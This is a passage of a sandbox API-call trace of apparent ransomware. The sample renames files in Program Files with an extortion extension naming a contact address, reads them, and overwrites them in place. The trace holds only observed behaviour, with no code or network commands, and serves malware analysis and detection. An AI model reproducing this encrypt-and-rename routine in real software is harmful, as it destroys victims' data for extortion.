files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.895] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x640061, dwReserved1=0x2e0065, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5280 [0235.895] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.895] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0235.895] GetProcessHeap () returned 0x630000 [0235.895] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d2a50 [0235.895] GetProcessHeap () returned 0x630000 [0235.895] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d34f0 [0235.895] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.895] ReadFile (in: hFile=0x718, lpBuffer=0x73d2a50, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d2a50*, lpNumberOfBytesRead=0x483ff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.969] GetProcessHeap () returned 0x630000 [0235.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0235.970] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.970] WriteFile (in: hFile=0x718, lpBuffer=0x73d34f0*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d34f0*, lpNumberOfBytesWritten=0x483ff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.970] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.970] WriteFile (in: hFile=0x718, lpBuffer=0x73d374f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d374f*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.970] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.970] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.970] CloseHandle (hObject=0x718) returned 1 [0235.970] GetProcessHeap () returned 0x630000 [0235.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d34f0 | out: hHeap=0x630000) returned 1 [0235.970] GetProcessHeap () returned 0x630000 [0235.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d2a50 | out: hHeap=0x630000) returned 1 [0235.970] GetProcessHeap () returned 0x630000 [0235.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0235.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52998216, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x483fd20, dwReserved1=0x73d2a50, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0235.971] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.971] Sleep (dwMilliseconds=0x1) [0236.074] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml") returned 1 [0236.074] GetProcessHeap () returned 0x630000 [0236.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f60) returned 0x6fe3bb0 [0236.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.074] CloseHandle (hObject=0x6f8) returned 1 [0236.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.074] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5480 [0236.075] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0236.076] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.076] GetProcessHeap () returned 0x630000 [0236.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0236.076] GetProcessHeap () returned 0x630000 [0236.076] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7f70 [0236.076] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.076] ReadFile (in: hFile=0x6f8, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x483ff0c*=0x240, lpOverlapped=0x0) returned 1 [0236.131] GetProcessHeap () returned 0x630000 [0236.131] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0236.131] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.131] WriteFile (in: hFile=0x6f8, lpBuffer=0x6d7f70*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7f70*, lpNumberOfBytesWritten=0x483ff0c*=0x240, lpOverlapped=0x0) returned 1 [0236.132] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.132] WriteFile (in: hFile=0x6f8, lpBuffer=0x6d81af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d81af*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.132] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.132] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.132] CloseHandle (hObject=0x6f8) returned 1 [0236.132] GetProcessHeap () returned 0x630000 [0236.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7f70 | out: hHeap=0x630000) returned 1 [0236.132] GetProcessHeap () returned 0x630000 [0236.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0236.132] GetProcessHeap () returned 0x630000 [0236.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0236.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52b15bb3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x483fd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5440 [0236.132] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0236.133] Sleep (dwMilliseconds=0x1) [0236.201] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\rempl\\rempl.xml", len=0x20 | out: pbstr=0x483ff7c*="C:\\Program Files\\rempl\\rempl.xml") returned 1 [0236.201] GetProcessHeap () returned 0x630000 [0236.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f44) returned 0x6fe3bb0 [0236.201] CreateFileW (lpFileName="C:\\Program Files\\rempl\\rempl.xml" (normalized: "c:\\program files\\rempl\\rempl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.210] CloseHandle (hObject=0x6f8) returned 1 [0236.210] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.210] MoveFileW (lpExistingFileName="C:\\Program Files\\rempl\\rempl.xml" (normalized: "c:\\program files\\rempl\\rempl.xml"), lpNewFileName="C:\\Program Files\\rempl\\rempl.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\rempl.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\rempl.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMPLX~1.FIR")) returned 0x6d5040 [0236.230] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.230] CreateFileW (lpFileName="C:\\Program Files\\rempl\\rempl.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\rempl.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.230] GetProcessHeap () returned 0x630000 [0236.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf41) returned 0x727d80 [0236.230] GetProcessHeap () returned 0x630000 [0236.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf41) returned 0x714508 [0236.230] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.230] ReadFile (in: hFile=0x6f8, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf20, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x483ff0c*=0xf20, lpOverlapped=0x0) returned 1 [0236.309] GetProcessHeap () returned 0x630000 [0236.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0236.309] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.309] WriteFile (in: hFile=0x6f8, lpBuffer=0x714508*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesWritten=0x483ff0c*=0xf20, lpOverlapped=0x0) returned 1 [0236.309] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.309] WriteFile (in: hFile=0x6f8, lpBuffer=0x715427*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x715427*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.309] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.309] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.309] CloseHandle (hObject=0x6f8) returned 1 [0236.309] GetProcessHeap () returned 0x630000 [0236.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0236.309] GetProcessHeap () returned 0x630000 [0236.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0236.309] GetProcessHeap () returned 0x630000 [0236.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0236.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\rempl.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52cb9548, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf50, dwReserved0=0xbac7496, dwReserved1=0x727d78, cFileName="rempl.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMPLX~1.FIR")) returned 0x6d5440 [0236.310] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0236.310] Sleep (dwMilliseconds=0x1) [0238.523] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.png", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.png") returned 1 [0238.523] GetProcessHeap () returned 0x630000 [0238.523] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5230) returned 0x6fe3bb0 [0238.523] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_cylinder.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.528] Sleep (dwMilliseconds=0x1) [0238.533] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.png", len=0x6e | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.png") returned 1 [0238.534] GetProcessHeap () returned 0x630000 [0238.534] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5228) returned 0x6fe3bb0 [0238.534] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_cube.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.535] Sleep (dwMilliseconds=0x1) [0238.547] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.3mf", len=0x6e | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.3mf") returned 1 [0238.547] GetProcessHeap () returned 0x630000 [0238.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5224) returned 0x6fe3bb0 [0238.548] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cube.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_cube.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.563] Sleep (dwMilliseconds=0x1) [0238.588] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\pencilbox.3mf", len=0x6d | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\pencilbox.3mf") returned 1 [0238.588] GetProcessHeap () returned 0x630000 [0238.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5218) returned 0x6fe3bb0 [0238.589] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\pencilbox.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\pencilbox.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.590] Sleep (dwMilliseconds=0x1) [0238.596] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\keychain.3mf", len=0x6c | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\keychain.3mf") returned 1 [0238.596] GetProcessHeap () returned 0x630000 [0238.596] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5210) returned 0x6fe3bb0 [0238.596] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\keychain.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\keychain.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.599] Sleep (dwMilliseconds=0x1) [0238.613] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\gimblekeychain.3mf", len=0x72 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\gimblekeychain.3mf") returned 1 [0238.614] GetProcessHeap () returned 0x630000 [0238.614] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x520c) returned 0x6fe3bb0 [0238.615] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\gimblekeychain.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\gimblekeychain.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.641] Sleep (dwMilliseconds=0x1) [0238.659] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\bulldozer.3mf", len=0x6d | out: pbstr=0x483ff7c*="C:\\Program 